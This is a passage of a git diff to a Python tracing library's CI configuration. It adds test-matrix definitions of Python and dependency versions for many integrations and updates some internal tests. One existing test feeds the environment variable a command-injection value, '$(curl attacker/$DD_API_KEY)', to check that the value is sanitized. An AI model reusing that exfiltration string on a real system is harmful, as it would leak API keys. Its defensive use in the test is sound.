tests/contrib/psycopg + - python: ['3.13', '3.14'] + name: psycopg + dependencies: + - psycopg + - pytest-asyncio>=1.0 + axes: + compatibility: + psycopg-latest-pytest-asyncio-gte-1-0: {} + command: pytest {cmdargs} tests/contrib/psycopg pylibmc: parallelism: 1 paths: @@ -1076,6 +2516,24 @@ suites: services: - memcached snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/pylibmc + dependencies: + - pytest-randomly + cases: + - python: ['3.9', '3.10'] + axes: + pylibmc: + pylibmc-1-6-2: pylibmc~=1.6.2 + pylibmc-latest: pylibmc + compatibility: + pylibmc: {} + - python: ['3.11', '3.12', '3.13', '3.14'] + dependencies: + - pylibmc + axes: + compatibility: + pylibmc-latest: {} pymemcache: parallelism: 2 paths: @@ -1088,6 +2546,18 @@ suites: services: - memcached snapshot: true + matrix: + dependencies: + - pytest-randomly + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + pymemcache: + pymemcache-3-4-2: pymemcache~=3.4.2 + pymemcache-3-5: pymemcache~=3.5 + pymemcache-latest: pymemcache + runs: + - command: pytest {cmdargs} --ignore=tests/contrib/pymemcache/autopatch tests/contrib/pymemcache + - command: python tests/ddtrace_run.py pytest {cmdargs} tests/contrib/pymemcache/autopatch/ pymongo: paths: - '@bootstrap' @@ -1100,6 +2570,30 @@ suites: - mongo snapshot: true venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/pymongo + dependencies: + - mongoengine + - pytest-randomly + cases: + - python: ['3.9'] + axes: + pymongo: + pymongo-3-8-0: pymongo~=3.8.0 + pymongo-3-9-0: pymongo~=3.9.0 + pymongo-3-11: pymongo~=3.11 + pymongo-4-0: pymongo~=4.0 + pymongo-latest: pymongo + compatibility: + pymongo: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + pymongo: + pymongo-3-12-3: pymongo~=3.12.3 + pymongo-4-0: pymongo~=4.0 + pymongo-latest: pymongo + compatibility: + pymongo-2: {} pymysql: parallelism: 1 paths: @@ -1115,6 +2609,30 @@ suites: services: - mysql snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/pymysql + dependencies: + - pytest-randomly + cases: + - python: ['3.9'] + dependencies: + - pymysql~=0.10 + axes: + compatibility: + pymysql-0-10: {} + - python: ['3.9', '3.10', '3.11', '3.12'] + axes: + pymysql: + pymysql-1-0: pymysql~=1.0 + pymysql-latest: pymysql + compatibility: + pymysql: {} + - python: ['3.13', '3.14'] + dependencies: + - pymysql + axes: + compatibility: + pymysql-latest: {} pynamodb: parallelism: 2 paths: @@ -1125,9 +2643,21 @@ suites: - '@pynamodb' - tests/contrib/pynamodb/* snapshot: true + matrix: + python: ['3.9', '3.10', '3.11'] + command: pytest -n 8 --dist=worksteal {cmdargs} tests/contrib/pynamodb + dependencies: + - moto>=1.0,<2.0 + - cfn-lint~=0.53.1 + - Jinja2~=2.10.0 + - pytest-randomly + - pytest-xdist + axes: + pynamodb: + pynamodb-5-3: pynamodb~=5.3 + pynamodb-5: pynamodb<6.0 pytorch: venvs_per_job: 1 - skip_pip_cache: true paths: - '@bootstrap' - '@core' @@ -1136,6 +2666,43 @@ suites: - '@pytorch' - tests/contrib/pytorch/* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/pytorch + cases: + - python: ['3.9', '3.10', '3.11'] + axes: + torch: + torch-2-0-0: torch~=2.0.0 + torch-2-1-0: torch~=2.1.0 + compatibility: + torch: {} + - python: ['3.9', '3.10', '3.11', '3.12'] + axes: + torch: + torch-2-2-0: torch~=2.2.0 + torch-2-3-0: torch~=2.3.0 + compatibility: + torch-2: {} + - python: ['3.9', '3.10', '3.11', '3.12'] + axes: + torch: + torch-2-4-0: torch~=2.4.0 + torch-2-5-0: torch~=2.5.0 + torch-2-6-0: torch~=2.6.0 + torch-2-7-0: torch~=2.7.0 + compatibility: + torch-3: {} + - python: ['3.12'] + axes: + torch: + torch-2-8-0: torch~=2.8.0 + torch-2-9-0: torch~=2.9.0 + torch-2-10-0: torch~=2.10.0 + torch-2-11-0: torch~=2.11.0 + torch-2-12-0: torch~=2.12.0 + torch-latest: torch + compatibility: + torch-4: {} pyodbc: parallelism: 1 paths: @@ -1147,6 +2714,24 @@ suites: - '@dbapi' - tests/contrib/pyodbc/* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/pyodbc + dependencies: + - pytest-randomly + cases: + - python: ['3.9', '3.10'] + axes: + pyodbc: + pyodbc-4-0-34: pyodbc~=4.0.34 + pyodbc-latest: pyodbc + compatibility: + pyodbc: {} + - python: ['3.11', '3.12', '3.13', '3.14'] + dependencies: + - pyodbc + axes: + compatibility: + pyodbc-latest: {} pyramid: parallelism: 1 paths: @@ -1158,8 +2743,41 @@ suites: - tests/contrib/pyramid/* - tests/snapshots/tests.contrib.pyramid.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/pyramid + dependencies: + - requests + - webtest + - pserve-test-app @ ./tests/contrib/pyramid/pserve_app + - pytest-randomly + cases: + - python: ['3.9'] + axes: + pyramid: + pyramid-1-10: pyramid~=1.10 + pyramid-2-0: pyramid~=2.0 + pyramid-latest: pyramid + compatibility: + pyramid: {} + - python: ['3.10', '3.11', '3.12'] + dependencies: + - pyramid + axes: + compatibility: + pyramid-latest: {} + - python: ['3.13', '3.14'] + dependencies: + - pyramid + - legacy-cgi + axes: + compatibility: + pyramid-latest-legacy-cgi-latest: {} ray: parallelism: 3 + # Ray 2.47+ mistakes scripts/run-tests' uv bootstrap for the driver environment. + # Keep workers in the suite's prebuilt venv instead of propagating the runner venv. + env: + RAY_ENABLE_UV_RUN_RUNTIME_ENV: '0' paths: - '@bootstrap' - '@core' @@ -1171,8 +2789,19 @@ suites: - tests/snapshots/tests.contrib.ray.* pattern: ^ray$ snapshot: true + matrix: + python: ['3.11', '3.12', '3.13'] + command: pytest {cmdargs} tests/contrib/ray + axes: + ray: + ray-2-46: ray[default]~=2.46.0 + ray-2-54: ray[default]~=2.54.1 ray_serve: parallelism: 6 + # Ray 2.47+ mistakes scripts/run-tests' uv bootstrap for the driver environment. + # Keep workers in the suite's prebuilt venv instead of propagating the runner venv. + env: + RAY_ENABLE_UV_RUN_RUNTIME_ENV: '0' paths: - '@bootstrap' - '@core' @@ -1184,6 +2813,16 @@ suites: - tests/snapshots/tests.contrib.ray_serve.* pattern: ^ray_serve$ snapshot: true + matrix: + python: ['3.11', '3.12', '3.13'] + command: pytest {cmdargs} tests/contrib/ray_serve + dependencies: + - fastapi + - protobuf==4.25.8 + axes: + ray: + ray-2-47: ray[serve]~=2.47.1 + ray-2-54: ray[serve]~=2.54.1 redis: parallelism: 5 paths: @@ -1199,6 +2838,44 @@ suites: - rediscluster - redis snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/redis + dependencies: + - pytest-randomly + cases: + - python: ['3.9', '3.10'] + dependencies: + - pytest-asyncio==0.23.7 + axes: + redis: + redis-4-1: redis~=4.1 + redis-4-3: redis~=4.3 + redis-5-0-1: redis==5.0.1 + compatibility: + redis-pytest-asyncio-0-23-7: {} + - python: ['3.11'] + dependencies: + - pytest-asyncio==0.23.7 + axes: + redis: + redis-4-3: redis~=4.3 + redis-5-0-1: redis==5.0.1 + compatibility: + redis-pytest-asyncio-0-23-7-2: {} + - python: ['3.12', '3.13'] + dependencies: + - redis + - pytest-asyncio==0.23.7 + axes: + compatibility: + redis-latest-pytest-asyncio-0-23-7: {} + - python: ['3.14'] + dependencies: + - redis + - pytest-asyncio + axes: + compatibility: + redis-latest-pytest-asyncio-latest: {} rediscluster: parallelism: 1 paths: @@ -1213,6 +2890,14 @@ suites: - redis - rediscluster snapshot: true + matrix: + python: ['3.9', '3.10', '3.11'] + command: pytest {cmdargs} tests/contrib/rediscluster + dependencies: pytest-randomly + axes: + redis-py-cluster: + redis-py-cluster-2-0: redis-py-cluster>=2.0,<2.1 + redis-py-cluster-latest: redis-py-cluster requests: parallelism: 1 paths: @@ -1225,6 +2910,26 @@ suites: services: - httpbin snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/requests + dependencies: + - pytest-randomly + - urllib3~=1.0 + - requests-mock>=1.4 + axes: + requests: + requests-2-25: + python: ['3.9'] + dependencies: requests~=2.25.0 + requests-2-27: + python: ['3.10'] + dependencies: requests~=2.27 + requests-2-28: + python: ['3.11'] + dependencies: requests~=2.28.0 + requests-latest: + dependencies: requests rq: parallelism: 1 paths: @@ -1238,6 +2943,29 @@ suites: services: - redis snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/rq + dependencies: + - pytest-asyncio==0.21.1 + - pytest-randomly + cases: + - python: ['3.9'] + dependencies: + - click==7.1.2 + axes: + rq: + rq-1-8-1: rq~=1.8.1 + rq-1-10-0: rq~=1.10.0 + rq-2-0-0: rq~=2.0.0 + rq-latest: rq + compatibility: + rq-click-7-1-2: {} + - python: ['3.10', '3.11', '3.12', '3.13'] + dependencies: + - rq + axes: + compatibility: + rq-latest: {} sanic: paths: - '@bootstrap' @@ -1250,6 +2978,64 @@ suites: - tests/snapshots/tests.contrib.sanic.* snapshot: true venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/sanic + dependencies: + - pytest<8 + - pytest-asyncio==0.21.1 + - pytest-randomly + - requests + - websockets<11.0 + - setuptools<82 + cases: + - python: ['3.9'] + dependencies: + - sanic~=20.12 + - pytest-sanic~=1.6.2 + axes: + compatibility: + sanic-20-12-pytest-sanic-1-6-2: {} + - python: ['3.9'] + dependencies: + - sanic-testing~=0.8.3 + axes: + sanic: + sanic-21-3: sanic~=21.3 + sanic-21-12: sanic~=21.12 + compatibility: + sanic-sanic-testing-0-8-3: {} + - python: ['3.10'] + dependencies: + - sanic~=21.12.0 + - sanic-testing~=0.8.3 + axes: + compatibility: + sanic-21-12-0-sanic-testing-0-8-3: {} + - python: ['3.9', '3.10'] + dependencies: + - sanic-testing~=22.3.0 + axes: + sanic: + sanic-22-3: sanic~=22.3 + sanic-22-12: sanic~=22.12 + compatibility: + sanic-sanic-testing-22-3-0: {} + - python: ['3.11'] + dependencies: + - sanic-testing~=22.3.0 + axes: + sanic: + sanic-22-12-0: sanic~=22.12.0 + sanic-23-12: sanic~=23.12 + compatibility: + sanic-sanic-testing-22-3-0-2: {} + - python: ['3.12'] + dependencies: + - sanic~=23.12 + - sanic-testing~=23.12.0 + axes: + compatibility: + sanic-23-12-sanic-testing-23-12-0: {} snowflake: paths: - '@bootstrap' @@ -1262,6 +3048,35 @@ suites: - tests/snapshots/tests.contrib.snowflake.* snapshot: true venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/snowflake + dependencies: + - responses~=0.16.0 + - cryptography<39 + - pytest-randomly + cases: + - python: ['3.9'] + axes: + snowflake-connector-python: + snowflake-connector-python-2-4-0: snowflake-connector-python~=2.4.0 + snowflake-connector-python-2-9-0: snowflake-connector-python~=2.9.0 + snowflake-connector-python-latest: snowflake-connector-python + compatibility: + snowflake-connector-python: {} + - python: ['3.10'] + axes: + snowflake-connector-python: + snowflake-connector-python-2-7-2: snowflake-connector-python~=2.7.2 + snowflake-connector-python-2-9-0: snowflake-connector-python~=2.9.0 + snowflake-connector-python-latest: snowflake-connector-python + compatibility: + snowflake-connector-python-2: {} + - python: ['3.11', '3.12', '3.13', '3.14'] + dependencies: + - snowflake-connector-python + axes: + compatibility: + snowflake-connector-python-latest: {} sourcecode: retry: 2 parallelism: 1 @@ -1271,6 +3086,12 @@ suites: - '@contrib' - '@sourcecode' - tests/sourcecode/* + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/sourcecode + dependencies: + - setuptools + - pytest-randomly sqlalchemy: parallelism: 1 paths: @@ -1286,6 +3107,36 @@ suites: - postgres - mysql snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/sqlalchemy + dependencies: + - pytest-randomly + - psycopg2-binary + - mysql-connector-python + cases: + - python: ['3.9', '3.10', '3.11', '3.12'] + dependencies: + - greenlet==3.0.3 + axes: + sqlalchemy: + sqlalchemy-1-3-0: sqlalchemy~=1.3.0 + sqlalchemy-latest: sqlalchemy + compatibility: + sqlalchemy-greenlet-3-0-3: {} + - python: ['3.12', '3.13'] + dependencies: + - sqlalchemy + - greenlet==3.1.0 + axes: + compatibility: + sqlalchemy-latest-greenlet-3-1-0: {} + - python: ['3.14'] + dependencies: + - sqlalchemy + - greenlet==3.2.4 + axes: + compatibility: + sqlalchemy-latest-greenlet-3-2-4: {} starlette: paths: - '@bootstrap' @@ -1298,6 +3149,63 @@ suites: - tests/contrib/starlette/* snapshot: true venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/starlette + dependencies: + - pytest-asyncio==0.21.1 + - greenlet~=3.0 + - requests + - aiofiles + - sqlalchemy<2.0 + - aiosqlite + - databases + - pytest-randomly + - anyio<4.0 + cases: + - python: ['3.9'] + dependencies: + - httpx~=0.22.0 + axes: + starlette: + starlette-0-14-0: starlette~=0.14.0 + starlette-0-20-0: starlette~=0.20.0 + starlette-0-33-0: starlette~=0.33.0 + compatibility: + starlette-httpx-0-22-0: {} + - python: ['3.10'] + dependencies: + - httpx~=0.27.0 + axes: + starlette: + starlette-0-15-0: starlette~=0.15.0 + starlette-0-20-0: starlette~=0.20.0 + starlette-0-33-0: starlette~=0.33.0 + starlette-latest: starlette + compatibility: + starlette-httpx-0-27-0: {} + - python: ['3.11'] + dependencies: + - httpx~=0.22.0 + axes: + starlette: + starlette-0-21-0: starlette~=0.21.0 + starlette-0-33-0: starlette~=0.33.0 + compatibility: + starlette-httpx-0-22-0-2: {} + - python: ['3.12', '3.13', '3.14'] + dependencies: + - starlette + - httpx~=0.27.0 + axes: + compatibility: + starlette-latest-httpx-0-27-0: {} + - python: ['3.9', '3.10', '3.11'] + dependencies: + - starlette + - httpx~=0.22.0 + axes: + compatibility: + starlette-latest-httpx-0-22-0: {} stdlib: retry: 2 parallelism: 2 @@ -1320,6 +3228,74 @@ suites: - tests/snapshots/tests.contrib.sqlite3* pattern: asyncio$|sqlite3$|futures$|dbapi$|dbapi_async$ snapshot: true + matrix: + dependencies: + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: futures + dependencies: + - gevent + axes: + compatibility: + gevent-latest: {} + command: pytest {cmdargs} tests/contrib/futures + - python: ['3.9', '3.10', '3.11', '3.12'] + name: sqlite3 + dependencies: + - pysqlite3-binary + axes: + compatibility: + pysqlite3-binary-latest: {} + command: pytest {cmdargs} tests/contrib/sqlite3 + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: dbapi + axes: + compatibility: + dbapi: {} + command: pytest {cmdargs} tests/contrib/dbapi + env: + DD_CIVISIBILITY_ITR_ENABLED: '0' + DD_IAST_REQUEST_SAMPLING: '100' + - python: ['3.9', '3.10'] + name: dbapi_async + dependencies: + - pytest-asyncio==0.21.1 + axes: + compatibility: + pytest-asyncio-0-21-1: {} + command: pytest {cmdargs} tests/contrib/dbapi_async + env: + DD_CIVISIBILITY_ITR_ENABLED: '0' + DD_IAST_REQUEST_SAMPLING: '100' + - python: ['3.11', '3.12', '3.13', '3.14'] + name: dbapi_async + dependencies: + - pytest-asyncio==0.21.1 + - attrs + axes: + compatibility: + pytest-asyncio-0-21-1-attrs-latest: {} + command: pytest {cmdargs} tests/contrib/dbapi_async + env: + DD_CIVISIBILITY_ITR_ENABLED: '0' + DD_IAST_REQUEST_SAMPLING: '100' + - python: ['3.9', '3.10', '3.11', '3.12'] + name: asyncio + dependencies: + - pytest-asyncio==0.21.1 + axes: + compatibility: + pytest-asyncio-0-21-1-2: {} + command: pytest {cmdargs} tests/contrib/asyncio + - python: ['3.13', '3.14'] + name: asyncio + dependencies: + - pytest-asyncio>=1.0.0 + axes: + compatibility: + pytest-asyncio-gte-1-0-0: {} + command: pytest {cmdargs} tests/contrib/asyncio structlog: parallelism: 1 paths: @@ -1329,6 +3305,15 @@ suites: - '@structlog' - tests/contrib/structlog/* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/structlog + dependencies: + - pytest-randomly + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + structlog: + structlog-20-2-0: structlog~=20.2.0 + structlog-latest: structlog subprocess: parallelism: 2 paths: @@ -1339,6 +3324,11 @@ suites: - '@subprocess' - '@appsec' - tests/contrib/subprocess/* + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest -vvvv {cmdargs} --no-cov tests/contrib/subprocess + dependencies: + - pytest-randomly logging: parallelism: 1 paths: @@ -1349,6 +3339,12 @@ suites: - '@logging' - tests/contrib/logging/* snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest -n auto --dist=worksteal {cmdargs} tests/contrib/logging + dependencies: + - pytest-randomly + - pytest-xdist tornado: parallelism: 1 paths: @@ -1360,6 +3356,33 @@ suites: - '@futures' - tests/contrib/tornado/* snapshot: true + matrix: + command: python -m pytest {cmdargs} tests/contrib/tornado + dependencies: + - pytest-randomly + cases: + - python: ['3.9'] + dependencies: + - pytest<=8 + axes: + tornado: + tornado-6-1: tornado==6.1 + tornado-6-2: tornado~=6.2 + compatibility: + pytest-lte-8-tornado: {} + - python: ['3.10', '3.11', '3.12'] + axes: + tornado: + tornado-6-2: tornado==6.2 + tornado-6-3-1: tornado==6.3.1 + compatibility: + tornado: {} + - python: ['3.13', '3.14'] + dependencies: + - tornado==6.4.1 + axes: + compatibility: + tornado-6-4-1: {} urllib3: parallelism: 1 env: @@ -1376,6 +3399,40 @@ suites: services: - httpbin snapshot: true + matrix: + command: pytest -n auto --dist=worksteal {cmdargs} tests/contrib/urllib3 + dependencies: + - pytest-randomly + - pytest-xdist + cases: + - python: ['3.9'] + axes: + urllib3: + urllib3-1-25-8: urllib3==1.25.8 + urllib3-latest: urllib3 + compatibility: + urllib3: {} + - python: ['3.10'] + axes: + urllib3: + urllib3-1-26-6: urllib3==1.26.6 + urllib3-latest: urllib3 + compatibility: + urllib3-2: {} + - python: ['3.11'] + axes: + urllib3: + urllib3-1-26-8: urllib3==1.26.8 + urllib3-latest: urllib3 + compatibility: + urllib3-3: {} + - python: ['3.12', '3.13', '3.14'] + axes: + urllib3: + urllib3-2-0-0: urllib3==2.0.0 + urllib3-latest: urllib3 + compatibility: + urllib3-4: {} vertica: parallelism: 1 paths: @@ -1386,6 +3443,15 @@ suites: - '@vertica' - tests/contrib/vertica/* skip: true # Vertica tests are flaky + matrix: + command: pytest {cmdargs} tests/contrib/vertica/ + dependencies: + - pytest-randomly + python: ['3.9'] + axes: + vertica-python: + vertica-python-gte-0-6-0-lt-0-7-0: vertica-python>=0.6.0,<0.7.0 + vertica-python-gte-0-7-0-lt-0-8-0: vertica-python>=0.7.0,<0.8.0 wsgi: parallelism: 1 paths: @@ -1399,6 +3465,15 @@ suites: - tests/contrib/uwsgi/__init__.py - tests/snapshots/tests.contrib.wsgi.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/wsgi + dependencies: + - WebTest + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11', '3.12'] + - python: ['3.13', '3.14'] + dependencies: legacy-cgi yaaredis: parallelism: 1 paths: @@ -1413,6 +3488,27 @@ suites: services: - redis snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/yaaredis + dependencies: + - pytest<8 + - pytest-asyncio==0.21.1 + - pytest-randomly + - setuptools<82 + cases: + - python: ['3.9'] + axes: + yaaredis: + yaaredis-2-0-0: yaaredis~=2.0.0 + yaaredis-latest: yaaredis + compatibility: + yaaredis: {} + - python: ['3.10'] + dependencies: + - yaaredis + axes: + compatibility: + yaaredis-latest: {} valkey: parallelism: 1 paths: @@ -1428,3 +3524,10 @@ suites: - valkeycluster - valkey snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/valkey + dependencies: + - valkey + - pytest-randomly + - pytest-asyncio==0.23.7 + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] diff --git a/tests/debugging/suitespec.yml b/tests/debugging/suitespec.yml index 445f5426e21..4052fc801ad 100644 --- a/tests/debugging/suitespec.yml +++ b/tests/debugging/suitespec.yml @@ -14,3 +14,14 @@ suites: - '@remoteconfig' - '@tracing' - tests/debugging/* + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/debugging/ + dependencies: + - msgpack + - httpretty + - typing-extensions + - pytest-asyncio + - pytest-benchmark + - pytest-memray + - numpy diff --git a/tests/errortracking/suitespec.yml b/tests/errortracking/suitespec.yml index 14058805433..ea1c4ae0fe3 100644 --- a/tests/errortracking/suitespec.yml +++ b/tests/errortracking/suitespec.yml @@ -12,3 +12,9 @@ suites: - '@core' - '@tracing' - tests/errortracking/* + matrix: + python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/errortracking/ + dependencies: + - flask + - pip==26.2.1 diff --git a/tests/internal/test_check_lockfile_cooldown.py b/tests/internal/test_check_lockfile_cooldown.py index 7ec415655fc..123c133b542 100644 --- a/tests/internal/test_check_lockfile_cooldown.py +++ b/tests/internal/test_check_lockfile_cooldown.py @@ -95,6 +95,18 @@ def test_collect_pins_deduplicates_across_lockfiles(cooldown_mod, tmp_path): assert sorted(p.name for p in pins[("attrs", "26.1.0")]) == ["b.txt", "lockfile.txt"] +def test_default_lockfiles_include_uv_and_riot_locks(cooldown_mod, tmp_path, monkeypatch): + uv_lock = tmp_path / ".uv/contrib-example--example-py311.txt" + riot_lock = tmp_path / ".riot/requirements/abcdef0.txt" + uv_lock.parent.mkdir(parents=True) + riot_lock.parent.mkdir(parents=True) + uv_lock.write_text("attrs==26.1.0\n") + riot_lock.write_text("attrs==26.1.0\n") + monkeypatch.chdir(tmp_path) + + assert cooldown_mod._default_lockfiles() == [riot_lock.relative_to(tmp_path), uv_lock.relative_to(tmp_path)] + + def test_check_pin_flags_too_fresh(cooldown_mod): now = dt.datetime(2026, 5, 20, 10, 0, 0, tzinfo=dt.timezone.utc) uploaded = now - dt.timedelta(hours=12) diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index b048b3d69d1..629317ad2fa 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -21,6 +21,12 @@ def gen_gitlab_config_mod(): yaml = types.ModuleType("ruamel.yaml") class YAML: + def __enter__(self): + return self + + def __exit__(self, *_args): + return None + def load(self, content): return {"variables": {"TESTRUNNER_IMAGE": "testrunner:fake"}} @@ -64,8 +70,7 @@ def test_get_bool_env_only_allows_literal_true(gen_gitlab_config_mod, monkeypatc def test_jobspec_sanitizes_nightly_build_before_script(gen_gitlab_config_mod, monkeypatch): monkeypatch.setenv("NIGHTLY_BUILD", "$(curl attacker/$DD_API_KEY)") - with mock.patch.object(gen_gitlab_config_mod.subprocess, "check_output", return_value=b"pip-key\n"): - config = str(gen_gitlab_config_mod.JobSpec(name="suite", stage="core")) + config = str(gen_gitlab_config_mod.JobSpec(name="suite", stage="core")) assert ' - export NIGHTLY_BUILD="false"' in config assert "$(curl" not in config @@ -86,3 +91,40 @@ def test_build_base_venvs_template_gets_sanitized_bool_values(gen_gitlab_config_ assert 'if [[ "false" == "true" ]]' in config assert "$(curl" not in config assert "$DD_API_KEY" not in config + + +def test_collect_all_suite_venv_info_expands_declarative_matrix(gen_gitlab_config_mod): + suite = { + "matrix": { + "command": "pytest tests/contrib/requests", + "dependencies": ["pytest"], + "python": ["3.11", "3.12"], + }, + } + info = gen_gitlab_config_mod.collect_all_suite_venv_info({"contrib::requests": suite}) + + assert info["contrib::requests"].venv_count == 2 + assert info["contrib::requests"].python_versions == {"3.11", "3.12"} + + +def test_jobs_use_uv_locks_and_base_venv_artifacts(gen_gitlab_config_mod): + config = str( + gen_gitlab_config_mod.JobSpec( + name="requests", + suite="contrib::requests", + stage="contrib", + snapshot=True, + services=["httpbin"], + python_versions={"3.12"}, + ) + ) + + assert "extends: .test_base_snapshot" in config + assert "TEST_SUITE: contrib::requests" in config + assert 'UV_NO_CACHE: "1"' in config + assert "uv run --no-project --python 3.9" in config + assert "--with-requirements .uv/wait--wait-py39.txt" in config + assert 'DD_TRACE_AGENT_URL="http://testagent:9126" AGENT_VERSION="testagent"' in config + assert " - job: build_base_venvs" in config + assert " artifacts: true" in config + assert ' - PYTHON_VERSION: "3.12"' in config diff --git a/tests/internal/test_http_client.py b/tests/internal/test_http_client.py index 92406e257bc..2f454910d8a 100644 --- a/tests/internal/test_http_client.py +++ b/tests/internal/test_http_client.py @@ -10,7 +10,7 @@ Fixtures spin up `http.server.ThreadingHTTPServer` on port 0 so the suite is ``pytest -n auto`` friendly. Handlers are inlined rather than imported from ``tests/tracer/test_writer`` because importing that module pulls in ``msgpack``, -which is not in the ``internal`` riot venv. +which is not in the ``internal`` test environment. """ from __future__ import annotations diff --git a/tests/llmobs/suitespec.yml b/tests/llmobs/suitespec.yml index dca9fa15961..4847512adf2 100644 --- a/tests/llmobs/suitespec.yml +++ b/tests/llmobs/suitespec.yml @@ -48,6 +48,26 @@ suites: - tests/contrib/anthropic/* - tests/snapshots/tests.contrib.anthropic.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/anthropic + dependencies: + - pytest-asyncio + - vcrpy + cases: + - python: ['3.9', '3.10', '3.11', '3.12'] + dependencies: + - anthropic~=0.28.0 + - httpx~=0.27.0 + axes: + compatibility: + anthropic-0-28-0-httpx-0-27-0: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - anthropic + - httpx<0.28.0 + axes: + compatibility: + anthropic-latest-httpx-lt-0-28-0: {} claude_agent_sdk: parallelism: 3 paths: @@ -60,6 +80,17 @@ suites: - tests/contrib/claude_agent_sdk/* - tests/snapshots/tests.contrib.claude_agent_sdk.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/claude_agent_sdk/ + dependencies: + - pytest-asyncio + python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + claude-agent-sdk: + claude-agent-sdk-0-0-23: claude-agent-sdk==0.0.23 + claude-agent-sdk-0-1-29: claude-agent-sdk==0.1.29 + claude-agent-sdk-0-1-49: claude-agent-sdk==0.1.49 + claude-agent-sdk-latest: claude-agent-sdk google_adk: venvs_per_job: 2 paths: @@ -71,6 +102,18 @@ suites: - '@llmobs' - tests/contrib/google_adk/* snapshot: true + matrix: + command: pytest -n auto --dist=worksteal {cmdargs} tests/contrib/google_adk + dependencies: + - pytest-asyncio + - pytest-xdist + - vcrpy + - deprecated + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + google-adk: + google-adk-1-0-0: google-adk~=1.0.0 + google-adk-latest: google-adk google_genai: parallelism: 1 paths: @@ -83,6 +126,12 @@ suites: - tests/contrib/google_genai/* - tests/snapshots/tests.contrib.google_genai.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/google_genai + dependencies: + - pytest-asyncio + - google-genai + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] vertexai: parallelism: 2 paths: @@ -95,6 +144,14 @@ suites: - tests/contrib/vertexai/* - tests/snapshots/tests.contrib.vertexai.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/vertexai + dependencies: + - pytest-asyncio + - vertexai + - google-ai-generativelanguage + - google-cloud-aiplatform + python: ['3.9', '3.10', '3.11', '3.12'] llama_index: paths: - '@bootstrap' @@ -106,6 +163,18 @@ suites: - tests/contrib/llama_index/* - tests/snapshots/tests.contrib.llama_index.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/llama_index + dependencies: + - pytest-asyncio + - vcrpy + - llama-index-llms-openai + - llama-index-embeddings-openai + python: ['3.10', '3.11', '3.12', '3.13'] + axes: + llama-index-core: + llama-index-core-0-11-0: llama-index-core~=0.11.0 + llama-index-core-latest: llama-index-core langchain: retry: 2 parallelism: 6 @@ -120,6 +189,53 @@ suites: - tests/contrib/langchain/* - tests/snapshots/tests.contrib.langchain.* snapshot: true + matrix: + command: pytest -v {cmdargs} tests/contrib/langchain + dependencies: + - pytest-asyncio==0.23.7 + - tiktoken + - huggingface-hub + - ai21 + - exceptiongroup + - psutil + - pytest-randomly==3.10.1 + - numexpr==2.8.5 + - greenlet==3.0.3 + - respx + - numpy + cases: + - python: ['3.9', '3.10', '3.11', '3.12'] + dependencies: + - langchain-core~=0.1.0 + - langchain-openai~=0.1.0 + - langchain-anthropic~=0.1.0 + - langchain-aws~=0.1.0 + - langchain-cohere~=0.1.0 + axes: + compatibility: + langchain-core-0-1-0-langchain-openai-0-1-0-langchain-anthropic-: {} + - python: ['3.9', '3.10', '3.11', '3.12'] + dependencies: + - langchain-core~=0.3.0 + - langchain-openai~=0.3.0 + - langchain-anthropic~=0.3.0 + - langchain-aws~=0.2.0 + - langchain-cohere~=0.3.0 + - langchain-google-genai~=2.0.0 + axes: + compatibility: + langchain-core-0-3-0-langchain-openai-0-3-0-langchain-anthropic-: {} + - python: ['3.10', '3.11', '3.12'] + dependencies: + - langchain-core + - langchain-openai + - langchain-anthropic + - langchain-aws + - langchain-cohere + - langchain-google-genai + axes: + compatibility: + langchain-core-latest-langchain-openai-latest-langchain-anthropi: {} litellm: paths: - '@bootstrap' @@ -132,6 +248,28 @@ suites: - tests/snapshots/tests.contrib.litellm.* snapshot: true venvs_per_job: 1 + matrix: + command: pytest {cmdargs} tests/contrib/litellm + dependencies: + - vcrpy + - pytest-asyncio + - botocore + - boto3 + cases: + - python: ['3.9', 